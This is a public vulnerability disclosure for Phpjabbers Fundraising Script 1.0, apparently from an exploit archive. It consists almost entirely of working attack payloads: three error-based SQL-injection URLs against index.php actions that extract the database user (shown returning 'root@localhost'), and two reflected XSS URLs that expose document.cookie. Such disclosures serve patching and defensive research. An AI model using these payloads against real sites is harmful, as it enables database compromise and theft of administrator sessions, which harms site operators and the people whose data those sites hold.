# Exploit Title:  Multiple Vulnerabilities in Phpjabbers Fundraising Script 1.0
# Disclosure Date: 18/02/2020
# Exploit Author: logosbox
# Version:  1.0
# Application website: https://www.phpjabbers.com/fundraising-script/
# CVE : N/A

Vulnerability Details:
=====================
Phpjabbers Fundraising Script 1.0 index.php script suffers from 
multiple reflected Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF) 
and SQL-injection vulnerabilities. 
An attacker can conduct a reflected XSS attack to obtain the Administrator
cookies or conduct a CSRF-attack.
The SQL-injection leads to injection of SQL-operators via GET-requests, 
granting access to the users table and possibility to compromise the
server by injecting malicious SQL payloads.

1) SQL-injection #1:

REQUEST:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoad&cid=1'"

RESPONSE:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''" AND TD.status='P') AS received
FROM fundrasing_campaigns AS t1 WHERE  t1.id =' at line 1

PAYLOAD:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoad&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--

RESPONSE:
XPATH syntax error: '\root@localhost'

-----------------------------------------------------------------------------------------------------------------------------------------------------

2) SQL-injection #2:

REQUEST:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionSetAmount&cid=1'"

RESPONSE:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''" AND TD.status='P') AS received FROM fundrasing_campaigns AS t1 WHERE t1.id =' at line 1

PAYLOAD:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionSetAmount&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--

RESPONSE:
XPATH syntax error: '\root@localhost'

-----------------------------------------------------------------------------------------------------------------------------------------------------

3) SQL-injection #3:

REQUEST:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadForm&cid=1'"

RESPONSE:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''" AND TD.status='P') AS received FROM fundrasing_campaigns AS t1 WHERE t1.id =' at line 1

PAYLOAD:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadForm&cid=1)%20AND%20EXTRACTVALUE(4756,CONCAT(0x5c,USER()))--

RESPONSE:
XPATH syntax error: '\root@localhost'

-----------------------------------------------------------------------------------------------------------------------------------------------------

4) XSS/CSRF #1:

PAYLOAD:
https://localhost/fundraising/index.php?controller=pjFront&action=pjActionLoadCss'<img%20src=1%20onerror=alert(document.cookie)>

-----------------------------------------------------------------------------------------------------------------------------------------------------

5) XSS/CSRF #2:

PAYLOAD:
https://localhost/fundraising/index.php?controller=pjAdminOptions&action=pjActionPreview&cid=1"></script><img%20src=1%20onerror=alert(document.cookie)>